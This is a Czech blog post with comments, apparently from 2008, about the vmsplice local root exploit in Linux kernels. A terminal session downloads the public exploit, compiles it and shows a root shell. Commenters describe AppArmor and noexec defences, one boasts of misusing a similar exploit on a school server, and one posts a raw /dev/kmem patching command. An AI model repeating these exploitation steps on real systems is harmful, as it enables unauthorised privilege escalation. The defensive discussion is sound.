Na začátek mi dovolte malou ukázku. Jedná se o plně aktualizovaný Debian Etch.
jenda@yakumo:~$ uname -a
Linux yakumo 2.6.18-5-486 #1 Mon Dec 24 16:04:42 UTC 2007 i586 GNU/Linux
jenda@yakumo:~$ id
uid=1000(jenda) gid=1000(jenda) skupiny=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(jenda)
jenda@yakumo:~$ whoami
jenda
jenda@yakumo:~$ wget -nv http://www.securityfocus.com/data/vulnerabilities/exploits/27704.c
13:13:30 URL:http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c [6264/6264] -> "27704.c" [1]
jenda@yakumo:~$ gcc 27704.c
jenda@yakumo:~$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7da9000 .. 0xb7ddb000
[+] root
root@yakumo:~# id
uid=0(root) gid=0(root) skupiny=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(jenda)
root@yakumo:~# whoami
root
root@yakumo:~#
Ano, běžný uživatel opravdu získal roota.
Podle zdroje jsou postižena jádra od 2.6.17 až do nového 2.6.24.
Ke stažení jsou dva exploity.
Vyzkoušeno na Debianu Etchi a Ubuntu 7.04 (s 2.6.20, tam to nešlo).
Já bych jim všechny ty počítače a internety zakázal. Ach jo. A to jsem nedávno adminovi ve škole vykládal (o tom možná někdy příště), že i kdyby uživatel spustil vira, že si maximálně smaže svůj home. Na tom školním stroji je ale naštěstí 2.4.
Odkazy:
Tak tohle je hodně drsnej exploit. Díky za upozornění, může se hodit ;-)
Mimochodem, co je to za jazyk v tom zdrojáku?
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
Je tomu docela pěkně rozumět :-)
Strašlivý... mám za to, že problémů z kategorie Local Elevation of Privilege se vyskytuje pár do roka. Jako mitigating factor bych viděl, že je třeba mít na stroji účet, a možnost běžet vlastní kód. Jinými slovy: další bezpečnostní problém z dlouhé řady, katastrofa se ovšem nekoná.
[5] To je ten problém. Když někteří tvrdí, že běžné distro Linuxu má za rok více problémů, než kombinace Windows/MS Office, vyrojí se spousta lidí, kteří tvrdí, že to není pravda, nebo že je to špatně spočítané. Bohužel to je spočítané správně. Linux má velikou spoustu bezpečnostních problémů, stejně jako ostatní systémy.
Spis bych si zjistil, za jak dlouho to vyvojari opravili od uverejneni a prestal bych se ohanet recmi o srovnavani Linuxu zdarma a Windowsu za penize. Za bezpecnost sveho produktu oba "vyrobci" ruci stejne. Dokud budou vyvojari lidi, tak budou bezpecnosti chyby v kazdem SW, ktery jde s dobou a prizbusobuje se ji.
Jinak mi prijde ze ten exploit by nenapsali aniz by koukali do zdrojaku Linuxu :) aspon jde videt ze se Linux vyviji kvalitne, protoze lidi ctou kod a chyby vypluji napovrch driv nez se to dostane na vetsinu serveru :). Kdo vi kolik takovych chyb maji closed-source systemy a nevi se o nich...
.text:
PaX r0lez, spender r0lez
.data:
goto http://www.grsecurity.org
Tak ziskání roota je jistě závažný problém, ale není to zdaleka poprvé a určitě ani naposled. Někteří píšou, že si mysleli, že linux je bezpečný a teď jsou v šoku. A na základě čeho jste si to vlastně mysleli? Co o tom víte? O podobných exploitech v minulosti jste neslyšeli? Vítejte tedy v realitě. Vždy a všude budou existovat chyby a v linuxu se díky jeho otevřenosti navíc velmi dobře hledají. Jinak mně na FC7 s jádrem 2.6.23.14-64.fc7 uvedený exploit bohužel nefunguje.
[7] HanzZ
Tam je spíš otázkou, jak dlouho se podaří předejít publikování informace o chybě :)
S těmi vývojáři tak úplně nesouhlasím. Vývojáři chyby dělali, dělají a vždy budou dělat. Problém je v tom, že kód v C/C++ je na chyby velmi náchylný. Viz http://www.kuro5hin.org/story/2004/2/7/144019/8872 (úsměvný dokument, byť s ním nelze plně souhlasit). Citace: The whole concept of pointers is an accident waiting to happen. Přitom dnes můžeme většinu SW psát v managed jazycích typu C# nebo Java, kde spousta problémů odpadá. A zjevně lze v managed jazycích psát i systémové věci (viz Singularity, což je research OS napsaný téměř kompletně v C#, který nabízí i zajímavý výkon). Tam někde je budoucnost. Pro začátek by to chtělo user-mode aplikace psát v managed jazycích.
[9] HanzZ
Dokud Linux neměl bezpečnostní problémy, bylo to proto, že byl jako open source daleko bezpečnější a lépe napsaný. Dnes má problémů řadu, a je to proto, že jeho kód je open source, tedy se problémy lépe odhalují, což vlastně vede k vyšší bezpečnosti (huh?). Nezní to trochu jako vtip?
[17] Tato chyba by se nasla jak v uzavrenem tak v otevrem kodu. V uzavreme proste tak ze by se to zkusilo.
Zasadni vyhoda je, ze v otevrem se to snadno spravi, protoze vratit z te funkce -1 umi kazdy zacinajici programator v C.
Tento exploit je mimoradny jednak tim, ze tvurci distribuci nedostali dost casu na opravu a jednak tim, ze linux to uz dlouho nepotkalo. Myslim linux jako jadro, v aplikacich se chyby najdou spise. Vsechy bugy posledni doby byly zneuzitelne pouze za shody dalsiho milionu okolnosti, takze byly pro laika temer nepouzitelne. Pripadne se opravovaly chyby, ktere sice byly security, ale ani na ne nebyl znamy exploit, protoze se na ne prislo pri hledani slabych mist v kodu. Pritom byly prikryte jinym kodem, ktery fakticky exploitnuti nedovolil.
Je videt, ze mnoho praktickych zkusenosti nemate. Je to jen dalsi z rady lokalnich exploitu. Do nekolika dni se objevi updatovane jadro a bude zase na nejakou dobu klid.
Pro predstavu se podivejte treba na
http://lists.opensuse.org/opensuse-security-announce/2008-01/msg00000.html
V SUSE Linuxu 10.0 bylo v jadre detekovano 9 chyb (v prubehu priblizne 2 let). Podobne prehledy se daji najit i pro jine distribuce. Vitejte v realnem svete!
[18] Dan Ohnesorg
Cchyby se pochopitelně dají najít bez ohledu na to, jestli je dostupný zdroják. Opravu ovšem ani v případě open source nemá smysl provádět na vlastní pěst. Je nejprve třeba vědět, co a jak se má opravit. Když to víte, je třeba změnu otestovat. S "doma" kompilovaným jádrem navíc typicky přicházíte o support. Faktem je, že v případě tohoto syscallu je situace zrovna náhodou jednoduchá (obdobně lze zablokovat syscall i ve Windows, jen bez zásahu do zdrojáku).
Bohužel dnes moc nezáleží na tom, jestli je chyba v aplikaci, nebo v kernelu. Záleží jen na tom, jestli se vás chyba týká. K vykradení dat ani rozesílání spamu nepotřebuje chybu v kernelu, ani oprávnění roota.
Zabyvam se bezpecnosti profesne, ucim Linux na VS a musim potvrdit, ze k memu neprijemnemu zjisteni exploit funguje i na mem 64bit Susackovi 10.3 jadro 2.6.23.14-ccj63-default.
Funkcnost 100%
Ale nedalo mi to a hned jsem na danou "utilitku" aplikoval AppArmor a hle...funkcnost "utilitky" NULOVA!!!!
Pro srovnani vypis pred a po vytvoreni AppArmor profilu:
./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b8143521000 .. 0x2b8143553000
[+] root
a PO:
./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2af21bfbf000 .. 0x2af21bff1000
[+] root
[-] /bin/bash: Permission denied
v logu se objevi :
type=APPARMOR_DENIED msg=audit(1202713498.383:7): type=1503 operation="inode_permission" requested_mask="x" denied_mask="x" name="/bin/bash" pid=14832 profile="/home/r4/a.out"
:))))))))))
Obcas se paranoia vyplaci a proto aplikace kterym neduveruji, vzdy pred spustenim nejdrive vytvorim AppArmor profil, pote spustim a kouknu do logu, co aplikace dela...
Preji hezky den, Raven4
raven4@jabber.cz
[24]Raven
Díky za tip. Já už jsem taky zahájil obranu. Až do odvolání jsou všechny vyměnitelná media, všechny oddíly, kromě systémového, nastavil v /etc/fstab atributem "noexec". Domovské adresáře mám na externím oddílu, takže jich se to týká taky. Překladače jazyka c/c++ může spustit jen uživatel, který je členem specialní skupiny.
Není to nic extra, ale jako rychlé prozatímní řešení se to zdálo být celkem gut, ale ten AppArmor je asi lepší. Už se po něm dívám. :)
Jinak jsem v klidu. jak jsem se díval na BugZillu, tak se zdá, že na řešení se intenzivně pracuje, takže věřím tomu, že urychleně vyjde i nějakej ten opravnej patch.
Těší mě, že se tu tak rozkřikují skalní zastánci konkurence. Na Widlích je něco takového téměř všední záležitost, tak si toho nikdo ani nevšimne. Ale Linux...? No stalo se...
vmsplice_to_user() je v chybne podobe v jadre od 2.6.23, takze nevim kde autor exploitu sebral, ze to je stara chyba a ze funguje od 2.6.17!!!
Mozna tak u 2.6.17 kam je vmsplice_to_user() backportovany, ale rozhodne to neni stara znama chyba. Sel s tim ven, protoze kdyby to neudelal on, udelal by to nekdo jiny. O te chybe vi hromada lidi, jen jsme si to chteli aspon chvili uzit - co se divite??? >:-)
[21] Zdenek
Dnešní virtuální stroje nejsou bez chyb. Ale samotný virtuální stroj je poměrně malý, a lze na něj lépe "dohlédnout" (redukujete obecný problém na problém virtual machine, samozřejmě se to netýká všech kategorií problémů). Navíc když píšete už OS v managed jazyku, tento problém řešíte pouze na té úrovni, že překlad z managed jazyka do strojáku musí být zaručeně bezchybný. Kompilátor je také celkem malá věc, a dá se na něm provést model checking. I pak zůstává prostor pro problémy (zatím neumíme napsat systém do posledního řádku v managed code; některé typy problémů managed code neřeší), ale zjevně jde o cestu, která dokáže řádově zvýšit spolehlivost a bezpečnost SW. Dnešní situace je totiž katastrofální. Když budeme hodnotit vyjma bezpečnosti i jiné chyby aplikací, je dnes SW průmysl v hrozném stavu (bez ohledu na platformu). Osobně nevidím jinou cestu ke zlepšení, než managed jazyky a vytváření dostatečných úrovní abstrakce.
To [33]:
> zatím neumíme napsat systém do posledního řádku v
> managed code; některé typy problémů managed
> code neřeší
Pokud nepocitam ruzne silne exoticke platformy (napr. pocitace z 70tych let chroustajici primo prezpracovany Lisp), tak na zadny bezny soucasny fyzicky stroj nejde pouzti system napsany pouze v managed code. Obzvlas pro nejrozsirenejsi platformu - klasicke PC. Takze je nutne pouzit jiz vyse zmineny virtualni stroj (=>penalizace vykonu), nebo napsat cast kodu jako unmanaged (jako to ma Singularity), pripadne udelat uplne novou platformu, ktera by byla pro managed jazyky primo delana. U Javy uz je to castecne mozne (na mobilech).
K tem problemum: ani kompletni system v managed kodu neochrani proti chybam pochazejicim hardwaru, co umi DMA (=vsechny dnesni grafiky, radice a sitove karty), leda ze by se implementovaly bezpecnostni prvky i do IOMMU.
[38]: Co to je "přezpracovaný Lisp"? Ty stroje měly podporu "lispového strojáku", ale zase tak exotické nebyly. Myslím, že podpora "managed" jazyků (jak se jim dnes módně říká) by v dnešní době nebyla tak obtížná. Stačí se podívat na Jazelle RCT, poměrně elegantně řeší některé z problémů, které se obvykle řeší instrumentací kódu nebo statickou analýzou (která není u dynamických objektových jazyků s mutable daty vždy možná, ač je samozřejmě žádoucí ji provádět v maximální možné míře, jak kvůli včasnému záchytu chyb, tak i kvůli optimalizacím), jenže na úrovni HW (paralelní kontroly dat). A přitom podle vývojářů ARMu zabírá jen několik kilohradel. Problémem je spíš setrvačnost průmyslu a díky kultuře světa Windows i požadavek na binární kompatibilitu. Na druhou stranu, vývoj HW je stále ještě zdlouhavější než vývoj SW.
Na druhou stranu, mít nezbytnou část kódu v Cčku a zbytek ve vyšším jazyku taky IMHO není žádná hanba. :-) Můj oblíbený kompilátor Lispu má v Cčku asi 20000 řádků nejnutnějšího přístupového kernelu (platformně závislé rozhlaní k OS, precizní generační garbage collector, kód definující přístup k jednotlivým typům lispových objektů a podobné skopičiny) a zbylých asi 300000 řádků základního kódu je v Lispu. To není tak špatný poměr, a ten kernel se odladit dá. Vlastně už odladěný je, a to při mnohem menším počtu uživatelů, než kolik lidí má PCčko s Windows, a při mnohem menším počtu lidí, co na něm pracují (řádově jednotky vývojářů po dobu patnácti let). Dnes je schopný se zotavit prakticky ze všeho, běžně kompiluji funkce s "nebezpečným" nastavením (declare (optimize (safety 0))) a následně je spouštím s neočekávanými daty, jen abych se přesvědčil, že drží a zatím se mi nikdy nepodařilo ho sestřelit. Nanejvýš mi vynadá, že ty segfaulty nemám dělat, a bezpečně odroluje zásobník interaktivního threadu zpět do příkazového řádku, a všecho ostatní je nedotčené. (Tedy pokud explicitně nepeekuju a nepokeuju jako kdysi v Basicu :-), kterýžto mechanismus tam je pro vnitřní potřebu kompilátoru, ale není programátorovi řízením přístupu ("private" funkce) zcela zapovězen, neb se předpokládá, že programátor není nesvéprávný.)
Vím o lidech, kterým Lisp běží jako dlouhodobý proces celé měsíce, mezitím v něm testují kód, a přitom jim v jiných vláknech běhají menší "provozní" servery, aniž by s tím byly problémy - jako u dobrého OS. Samozřejmě, neřeší to softwarovou izolaci škodlivého kódu (pořád je to jen jeden proces, což má svoje dobré i špatné stránky), ale *rozšířením* tohoto konceptu vzniknou singularitoidní SIPs, což je, myslím, do budoucna docela slibná cesta.
Na Wikipedii na http://en.wikipedia.org/wiki/Lisp_machine je na to spousta odkazu, ja si jen z jednoho clanku pamatuju, ze to, co zpracovaval procesor, nebyl ani bytekode, ani cisty Lisp, ale neco mezi tim - cas odpovidala Lispu 1:1, cast byla interpretovana (ackoliv to neni nejlepsi vyraz) za chodu. Nejvice se to podoba dnesnim Itaniim s jejich VLIW nebo z druhe strany Trasmetam s jejich Code Morphingem, az na to, ze ty maji jako vstupni jazyk x86 strojak.
jojo, podobnejch exploitů sem zažil asi tři, nikdy jsem moc nevěděl co se odehrává v kernelu abych z toho byl chytrý. vždy jen copy-paste, gcc a exec. a nejlepší byl ten, který jsem použil na školním(zkušebním, pro účely výuky) serveru se suse a ve výsledku sem pak rozeslal maily od roota a všem přihlášeným včetně učitele pomocí write rozeslal přání hezkého dne na terminály. dodnes nikdo netuší, že sem to udělal já. a stačilo jen občas číst newz o security a lama dokázala takové věci.
[38] Kvakor
Začal bych u Javy. Jak je to s ní v telefonech? Pokud jsem si všiml, tak telefony mají naprosto klasický firmware psaný v C/C++, nad kterým případně běží Java. Neexistuje asi jediné zařízení, které by mělo firmware v Javě (jakkoliv embedded zařízení byla prvním úkolem Javy). Výjimkou je možná JavaStation ;)
Samozřejmě obsluhu interruptů (a obecně část HALu) těžko udělat v managed code, ale jak jsem psal, takového kódu je minimum. DMA může být problém, ale pokud máte drivery v managed code (jako v případě Singularity) a máte DMA operace zapouzdřené nějakým objektem, je to řešitelné.
nevim co vsichni plasite. jako vse v linuxu, opravit to lze jednim prikazem v shellu:
echo -e '\xc3' | dd of=/dev/kmem bs=1 count=1 seek=$((0x`cat /proc/kallsyms| grep sys_vmsplice | awk {'print $1'}`))
trochu insider info: jak jste si mnozi vsimli, autor je skutecne moravak (brno) a tento kod neni nic noveho (v ruznych podobach cca rok stary, nicmene tato verze je funkcni bez 50% sance kernel panicu). na muj dotaz proc to zverejnil mi bylo receno ze cliph se chystal na tomto prihrat polivcicku, coz mu bylo pomerne efektivne znemozneno :-) (aneb ten 2.6.17 nesouvisi s tim co je opraveno ve 2.6.24.1 a co zverejnilo isec.pl).
xChaos: Vsade donemoty citam aky je linux spickovy, kazdy novy rok je rokom linuxu a vsetci svorne vyzdvihuju jeho spickovu architekturu a design v porovnani s Windowsom ktory je od zakladov zle navhnuty...
Tak mi poved naco ma linux AppArmor, naco su kvanta linuxovych firewallov (naposledy sa afektovalo okolo ufw do ubuntu), na co su linuxove antivirusy...a pod.
Keby ten system mal aspon 30% a konecne by stalo za to pisat pre neho mallware, cely vas svet by sa zosypal ako domcek z karat vdaka smejdovym, pomalym, bugovitym, padajucim aplikaciam.
Nic proti linuxu, ale nabozenskych fanatikov nemam rad.
"je to narychlo splacana sracka kadekym z celeho sveta"
hahaha, a vite ze je to pravda... a jeste me dosti rozesmalo "cely vas svet by sa zosypal ako domcek z karat vdaka smejdovym, pomalym, bugovitym, padajucim aplikaciam."
hahahaha... fakt Laco, je to tezka pravda... lamarna linux proste nenavidim, jednou jsem ho nainstaloval ale bohuzel sjem ho musel hned smazat, formatoval jsem disk abych instalil jeste v te dobe XP SP2... instalace, nastaveni a mazani linuxu je jeste zdlouhavejsi nez XP
fakt sucks
Ono mne sa Ubuntu alebo openSUSE celkom jak tak paci a kernel je mozno stabilny a kvalitny, neviem posudit a ani porovnat s Windows server kernelom, ale tie aplikacie su fakt casto pomale, bugovite a nestabilne...
Napr. taky F-Spot, alebo Banshee, Evolution s jeho (ne)-funckcnym spam filtrom, padajuci/mrznuci Thunderbird (v Ubuntu) alebo vecne nespolahlivy mplayer plugin vo Firefoxe ktory je sam o sebe dost pomaly...
Uz to nechcem dalej rozvadzat.
Podle vseho byl takto hacknut web Coppermine Photo Gallery [ http://coppermine-gallery.net/ ]
představme si situaci že záhaně zmizí jeden nebo druhý systém ze světa:
Vypněte Windows na všech PC světa > 90% domácích uživatelů bude bez os (žádná katastrofa)+ spadně trafic internetu protože přestanou existovat viry rozesílající bordel atd ,samotný internet poběží bez problému dál (vypadne pár windows serveru ,ale celkové spojení by mělo běžet) Závěr:tu a tam nebude něco fungovat ale většinou jen blbosti.
Vypněte Linux(+ všechny Unixové systémy)> Kompletně zkolabuje internet ,telefoní mobilní sít ,energie (tedy kromě zemí kde eletřina znamená pár lopat do kotle :-D) ,přestanou jezdit vlaky (tedy kromě ČR tady je to na widlích ,a taky to jde poznat ,nezažil jsem vlak co by přijel na čas :-D) Závěr : Vítejte v době kamené:-D
Ted si představme situaci ře jeden sytém kompletně vytlačí druhý :
Windows kompletně nahradí linux > všechno by jelo s přesností ČD ,elektřina by vipadla min 3x měsíčně , internet by za týden skolaboval pod náporem virů a spamu + ztráta hromady dat, dokumentace celý odkaz lidstva INTERNET by byl v kaši , bankomat by se vás 3x ptal jestli chcete opravdu vybrat ten litr a nakonec vám stejně dá 50kč ,počet sebevražd by stoupl o 70% :-D
Linux nahradí windows> to už by bylo zajímavější , už žádny pojd mi přeinstit widle zase dělají bordel :-D ,bych si založil firmu specializovanou na udržbu a výuku linuxu , a pak bych se koupal v penězích :-D
To zip: Budes se asi divit, ale ty nejvetsi problemy nejou s klasickejma spamerama a serverama co to rozesilaji, ale s normalnima lidma, ktere MUSIS mit na svem serveru povolene, ale protoze ino jako zakaznici/klienti/kamaradi maji svoje OKNA zavirovany a zasrany jako prase tak se to blbe resi ...
To Salamek: Super post ...
Salamku, tvé dojmy nedoporučuji zaměňovat za informace. Zmíněné systémy neběží podle úrovně dopaminu v tělech adminů a userů dané mírou expozice slunečním paprskům... Na widlích se vyvíjí reálné technologie a na win kompatibilních se vedou finanční evidence, to jen pro tebe, abys neměl pocit, že jsi nezávislý...
Salamek ma pravdu v tom co napsal ...
To co popsal JEDE na linuxu ...
Banky jedou na MS, ale prevazne ceske, treba London burza je linux .. Pokud nekdo vetsi a rozumny pouziva sap jede na linuxu (potazmo Unixu taky + Oracle)
To ze cesi jedou na MS, protoze pravdepodobne nic jineho neumeji to je jina ... takze nevim, proc by se mel Salamek probirat panove ...
Dokonce ceska K2 atmitec to pochopila a nabizi reseni K2 + linux + oracle ...
To Petr Jezek: Vyvyji realne technologie ???? BSOD ???
Realne technologie se vyrabeji na vsem .. nebo trebe ILM, nebo dalsi poc. triky, nejsou realne technologie ??
Myslite, ze pocitace, co ridi vetsinu podniku bezi na Windows ??? To by to dopadlo ... Elektrakna Melnik (7 let jsem tam delal) bezi na Westinghouse a tak i Temelin - myslite, ze je to windows ? Na motorolach procesorech ?
Windows je tam jen na odsireni, jako visualizace ...
Paranoidní? Ale ne – kde máte důkaz, že po mně nejdou?
Přečteno 24 138×
Přečteno 20 917×
Přečteno 14 119×
Přečteno 11 972×
Přečteno 11 506×